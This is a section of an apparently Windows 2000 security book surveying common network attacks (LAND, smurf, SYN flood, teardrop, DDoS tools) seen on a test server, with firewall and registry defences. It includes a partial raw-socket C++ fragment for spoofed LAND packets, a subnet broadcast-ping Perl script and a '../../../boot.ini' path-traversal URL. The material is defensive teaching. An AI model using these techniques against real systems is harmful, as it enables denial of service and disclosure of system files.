Some Common Attacks

[Previous] [Next]

From August to October, 1999, the Windows 2000 security team hosted a server running Windows 2000 on the Internet to test its security. During that time, the server was attacked over 600,000 times. Happily, no Web pages were altered, no user accounts were changed, and none of the secrets liberally scattered around the server were found. We did, however, learn a great deal about how people attack Web sites. Before we look at some of the attacks detected on the Web site, let's discuss manual creation of IP packets because so many attacks rely on this capability.

Creating IP Packets

Normally, when your computer communicates with another computer using the TCP/IP protocol suite, the packets of data are "well formed"—that is, they comply with the appropriate Internet Engineering Task Force (IETF) standards. When a developer writes a program, he usually uses sockets to communicate using TCP/IP. You saw examples of using sockets in Perl and VBScript earlier in this chapter.

Many attacks involve a bogus packet (or packets) that's crafted to cause problems at the destination host. Creating these packets is quite a complex task and requires a good understanding of the TCP/IP protocol suite. Essentially, the attacker builds a packet in memory and then sends the packet to the destination host. This opens a special socket called a raw socket. It's raw in that the operating system doesn't attempt to modify the data as it's sent from the client host.

Many, if not all, TCP/IP attacks spoof the source host address or set a false source address so that the attack is essentially anonymous, or at best very difficult to trace. A good source of information about how to protect against such attacks is in RFC 2267, "Network Ingress Filtering: Defeating Denial of Service Attacks which Employ IP Source Address Spoofing."

The following is a C++ code fragment, sans error checking code, that creates a LAND-style (discussed later) TCP and IP header on an Intel-based computer:

 // IP header. struct iphdr { uchar version : 4; // IP version. uchar ihl : 4; // Header length. ushort len; // Packet length. ushort id; // Packet ID. ushort frag_offset; // Fragment offset. uchar ttl; // Time to Live. uchar protocol; // Protocol (TCP, UDP, ICMP, etc.). ushort checksum; // Checksum. ulong saddr; // Source address. ulong daddr; // Destination address. }; // TCP header. struct tcphdr { ushort source_port; // Source port. ushort dest_port; // Destination port. ulong seq; // Sequence number. ulong ack; // Acknowledgment sequence number. uchar unused1 : 4; uchar offset : 4; // Data offset. uchar flags; // Flags (SYN, ACK, etc.). ushort window; // Window. ushort checksum; // Checksum. ushort urgent_ptr; // Urgent. }; // TCP flags. enum {TH_FIN = 0x1, TH_SYN = 0x2, TH_RST = 0x4, TH_PUSH = 0x8, TH_ACK = 0x10, TH_URG = 0x20}; // Get the address of the target host (172.91.11.2). struct sock_addr sin; ZeroMemory(&sin, sizeof(sin)); sin.sin_family = AF_INET; struct hostent *host = gethostbyname("172.91.11.2"); CopyMemory(&sin.sin_addr, host->h_addr, host->h_length); // Get the port (80). sin.sin_port = htons(80); // Build the IP header. // Note that the source and destination addresses are the same; // this is the essence of the LAND attack. struct iphdr ip; ZeroMemory(&ip, sizeof(ip)); ip.version = 4; ip.ihl = sizeof(strust iphdr) / 4; // LAND attack has no body; it's just a bogus header, // hence the length is just the size of IP and TCP headers. ip.len = htons(sizeof(struct iphdr) + sizeof (struct tcphdr)); ip.id = htons(0xF1C); ip.ttl = 255; ip.protocol = IP_TCP; ip.saddr = sin.sin_addr.s_addr; // Source address is "spoofed." ip.daddr = sin.sin_addr.s_addr; // Build up the TCP header. // Note that the source and destination ports are the same; // this is the essence of the LAND attack. struct tcphdr tcp; ZeroMemory(&tcp, sizeof(tcp)); tcp.source_port = sin.sin_port; tcp.dest_port = sin.sin_port; tcp.seq = htonl(0xF1C); tcp.offset = sizeof(struct tcphdr) / 4; tcp.flags = TH_SYN; // The first part of the handshake _ SYN. tcp.window = htons(2048); tcp.checksum = checksum(); // Checksum is calculated. int sock = socket(AF_INET, SOCK_RAW, 255); sendto(sock, ...); closesocket(sock); 

As mentioned earlier, this is only a fraction of the code used to create a LAND attack; note that the source and destination host IP addresses are the same and the source and destination ports are the same, too.

 // From the IP header. ip.saddr = sin.sin_addr.s_addr; // Source address is "spoofed." ip.daddr = sin.sin_addr.s_addr; // From the TCP header. tcp.source_port = sin.sin_port; tcp.dest_port = sin.sin_port; 

We hope that you now have an understanding of how raw sockets are created and the danger they can pose. Now let's look at some of the attacks observed at the Windows 2000 security test site, www.windows2000test.com.

LAND (DoS)

In this type of attack, a TCP SYN packet is sent with the source IP address and port number that match the destination IP address and port. This causes some TCP implementations to go into a loop until the machine crashes. Because the source IP address is spoofed, the attack is anonymous. The simplest way to prevent this kind of attack is to configure your router or firewall to block all incoming packets that contain your company's subnet addresses as the source address.

Smurf (DoS)

A smurf attack uses Internet Control Message Protocol (ICMP) echo request (ping) packets that are created with the victim's address as the source address. The packets are sent to a broadcast address that causes a large number of responses to the victim when each host on the subnet replies. This is often referred to as attack amplification.

Computers running Windows do not respond to broadcast pings, but this doesn't mean that they're invulnerable to smurf attacks. Rather, they won't participate in an attack. The easiest way to lessen the possibility of smurf attacks is to configure your router or firewall to disallow ICMP echo requests into your internal network.

The following Perl script pings an entire subnet with a broadcast ICMP packet. You can see the results of the broadcast in a network sniffer such as Microsoft Network Monitor. Notice that no computers running Windows reply to the broadcast.

 @ip = (157,59,133,100); ' Enter your IP address. @mask = (255,255,252,0); ' Enter your subnet mask. $subnet = (($ip[0] | ~$mask[0]) & 0xFF) . '.' . (($ip[1] | ~$mask[1]) & 0xFF) . '.' . (($ip[2] | ~$mask[2]) & 0xFF) . '.' . (($ip[3] | ~$mask[3]) & 0xFF); `ping $subnet >&2`; # backticks (`) around the call to ping. 

SYN Flood (DoS)

As discussed previously, a TCP/IP connection begins with an IP packet containing some data, and the SYN flag set to 1. When the server receives this packet, it allocates some memory and sends a SYN | ACK to the client. If the connection fails, the server tries again, possibly increasing the time to wait for the client to respond. A SYN flood attack uses fake, or spoofed, source IP addresses so that the server will never connect to the client. By sending numerous such SYN packets to a server, it uses up memory. Eventually, valid connections can no longer connect to the host—or worse, the server crashes. Windows 2000 has a number of internal heuristics to reduce the chance of this kind of attack succeeding.

Teardrop (DoS)

This attack requires a specially crafted set of IP packets that appear to be fragmented when they arrive at the server. The resulting reconstituted packet is invalid and causes the server to crash. Other variations of the teardrop attack include SynDrop, Bonk, Nestea, and NewTear. Windows 2000 is not vulnerable to this kind of attack.

HTTP ".." (Information Disclosure)

Some Web servers include server-side code to view sample applications, and this code allows the inclusion of ".." in the name of the file to examine. However, the same code can be used to download other files. For example, http://www.exair.com/samples/showcode.asp?file=../../../boot.ini might download the boot.ini file. You should configure IIS 5 to not support the use of ".." in the filename, as shown in Figure 12-3.

Figure 12-3. Enabling or disabling parent paths in the IIS administration tool.

Posting HTML or Script to the Web Server (Varies)

This is a common way to attack Web servers that accept user input because some Web site designers treat all user input as valid, well-formed data, even though it often isn't. This type of attack is covered later in this chapter in the section "User Input Attacks."

HTTP "::$DATA" (Information Disclosure)

The Windows NT File System (NTFS) supports multiple data streams, so a physical file can contain many units of data, each with a unique name. The default data stream, also called $DATA, is used when you don't define the name of the stream. Hence, file.asp is the same as file.asp::$DATA. IIS knows that a file ending in .asp is to be processed by the Active Server Pages engine (asp.dll). However, an older version of IIS doesn't recognize the extension .asp::$DATA, so it opens the file and returns the text of the file to the browser. The text in this case is the source code of the ASP file! The version of Internet Information Services included with Windows 2000 isn't susceptible to this kind of attack.

Windows NULL Session and Windows Remote Registry Access (Information Disclosure)

By itself, a Windows NULL session doesn't necessarily indicate that a machine is under attack. It might simply mean that this computer and another one are communicating anonymously. However, a Windows NULL session in conjunction with an attempt to remotely open the Registry might indicate that an attack is under way because account enumeration and the gathering of certain server information require a NULL session. (This was covered in detail earlier in this chapter.)

IP Fragmentation (DoS)

Quite often, IP packets are broken up into fragments as they're transmitted over the Internet and then reassembled at the destination. Some older routers block packets based on data in the first fragment's TCP header and then pass the remaining fragments unchecked. Some IP fragmentation attacks rely on specially crafted IP packets that overwrite parts of the TCP header when the packets are reassembled. This can trick the router into thinking that the packet is for an allowed port when in fact it should be blocked.

Ping Flood (DoS)

This is a very simple attack that saturates the network with ICMP echo requests (pings). The simple fix is to prevent these packets at the firewall or router.

Trace Route (Probe/Information Disclosure)

This isn't really an attack, but a precursor to a possible attack. A hacker uses the Tracert tool to determine the route taken by IP packets from your client to a destination; this tool can also be used to determine the makeup of a network. The former case is benign; the latter might be of concern. Often, the host prior to the Web server is a router or a firewall. If so, the hacker might simply perform a port scan on it and attempt to attack the router or firewall. People frequently lock down the Web site but fail to properly secure the router in front of it. The following is a sample fictitious trace route from Seattle, Washington, to Zambia in central Africa:

 D:\>tracert mang.bnet.zm Tracing route to mang.bnet.zm [196.7.240.10] over a maximum of 30 hops: 1 180 ms 190 ms 191 ms sdn-ar- 003waseat004t.dial.net [178.191.230.2] 2 161 ms 180 ms 180 ms sdn-hr- 003waseat004t.dial.net [178.191.230.1] 3 220 ms 160 ms 171 ms sdn-pnc2-sea-5-1- T1.dial.net [217.143.225.105] 4 331 ms 190 ms 200 ms sl-bb3-sea-1-0.link.net [217.143.223.173] 5 160 ms 190 ms 191 ms sl-bb51-sea-0-2.link.net [154.232.5.36] 6 161 ms 180 ms 160 ms sl-bb3-sea-4-0-0.ink.net [154.232.5.21] 7 170 ms 200 ms 200 ms Hssi5-2- 0.BR1.FOO1.ALTER.NET [147.39.243.50] 8 210 ms 201 ms 190 ms 105.ATM3- 0.XR2.FOO1.ALTER.NET [156.188.199.72] 9 161 ms 190 ms 200 ms 294.ATM4- 0.TR2.FOO1.ALTER.NET [156.188.199.123] 10 230 ms 251 ms 260 ms 110.ATM5- 0.TR2.FOZ1.ALTER.NET [156.188.136.75] 11 270 ms 290 ms 311 ms 198.ATM6- 0.XR2.FOZ1.ALTER.NET [156.188.242.111] 12 271 ms 300 ms 290 ms 194.ATM8-0- 0.GW1.FOZ1.ALTER.NET [156.188.242.145] 13 861 ms 871 ms 892 ms bnet-gw.customer.ALTER.NET [167.130.64.82] 14 1012 ms 941 ms 931 ms mang.bnet.zm [186.7.240.110] 

Note that the Web server (186.7.240.110) is running a variant of BSD. We know this because NMAP, a tool developed by Fyodor, reports NetBSD 1.1-1.2.1; Telneting to the Web server reports FreeBSD/i386. In addition, according to NMAP, the router (167.130.64.82) is a Cisco router running IOS 10.3-11.1.

A superb visual trace route tool called VisualRoute is available from www.visualroute.com. Figure 12-4 shows an example of using the tool to get a route from Herndon, Virginia, to Wellington, New Zealand.

Figure 12-4. Using VisualRoute.

Distributed DoS Attacks

Recently, a new type of attack has made the headlines—the distributed denial of service (DDoS) attack. It works like this:

1. An attacker compromises a large number of computers using well-known vulnerabilities in unpatched computers.
2. The attacker installs special DDoS software on each compromised computer. The software listens for commands from the attacker.
3. The attacker uses special client software to send commands to all the compromised computers to direct them to flood a victim's network with data.

You should note that DDoS tools use three layers of computers. The lowest layer takes instructions from the middle layer and performs the attacks. The lowest layer requires the IP address of the middle layer in order to get instructions. Attackers don't want to embed their own IP addresses in the instructions, so they need the middle layer. Commands go from the attacker to the middle layer and then to the lowest layer. Each layer has a different name, depending on the type of DDoS tool.

Three major DDoS tools have been used:

• Tribe Flood Network (TFN), which performs the following distributed attacks:

• ICMP flood
• SYN flood
• UDP flood
• Smurf

For more information, go to staff.washington.edu/dittrich/misc/tfn.analysis.

• Trinoo, which performs distributed UDP flooding attacks. For more information, go to staff.washington.edu/dittrich/misc/trinoo.analysis.
• Stacheldraht (German for barbed wire), which combines features of TFN and Trinoo and adds communication encryption between the attacker's client software and the Stacheldraht software. It performs the same attacks as TFN does. For more information, go to staff.washington.edu/dittrich/misc/stacheldraht.analysis.

The main computers performing the attacks (unbeknownst to their administrators) were vulnerable Sun Solaris computers with buffer overruns in unpatched versions of statd (network status monitor), cmsd (calendar manager service), and ttdbserverd (ToolTalk database).

If you think that your Web site might become the victim of a DDoS attack, you should set the Registry values listed in Table 12-3 to increase the TCP/IP stack's resistance on your servers. You can set these options using the hisecweb.inf Security Configuration Tool template included with this book and described in Appendix F. They're also described in detail at www.microsoft.com/technet/security/dosrv.asp.

Registry Key	Recommended Value
Tcpip\Parameters\SynAttackProtect	2
Tcpip\Parameters\TcpMaxHalfOpen	100 (500 on Advanced Server)
Tcpip\Parameters\TcpMaxHalfOpenRetried	80 (400 on Advanced Server)
Tcpip\Parameters\EnablePMTUDiscovery	0
NetBt\Parameters\NoNameReleaseOnDemand	1
Tcpip\Parameters\EnabledDeadGWDetect	0
Tcpip\Parameters\KeepAliveTime	300,000
Tcpip\Parameters\Interfaces\PerformRouterDiscovery	0
Tcpip\Parameters\EnableICMPRedirects	0

Table 12-3. Recommended TCP/IP Registry settings to help withstand DDoS attacks.

For additional information about countering DDoS attacks, go to www.cert.org/incident_notes/IN-99-07.html and www.cert.org/reports/dsit_workshop.pdf.

Attack Summary

You might notice that many of the common attacks relate to the TPC/IP protocol suite. They exploit flaws in the implementation of the protocols or in the design of TCP/IP itself, or they create malicious congestion. The biggest concern with TCP/IP is it was never designed to be secure. Packets can be forged, altered, and sent in an unauthenticated manner. Internet Protocol Security (IPSec), an IETF technology included in Windows 2000, addresses these issues by providing packet authentication, packet integrity, and packet privacy. You can also configure a server to never accept connections from non-IPSec clients.

You'll find an excellent summary of the more common IP-level attacks at www.zdnet.com/devhead/stories/articles/0,4413,2172746,00.html.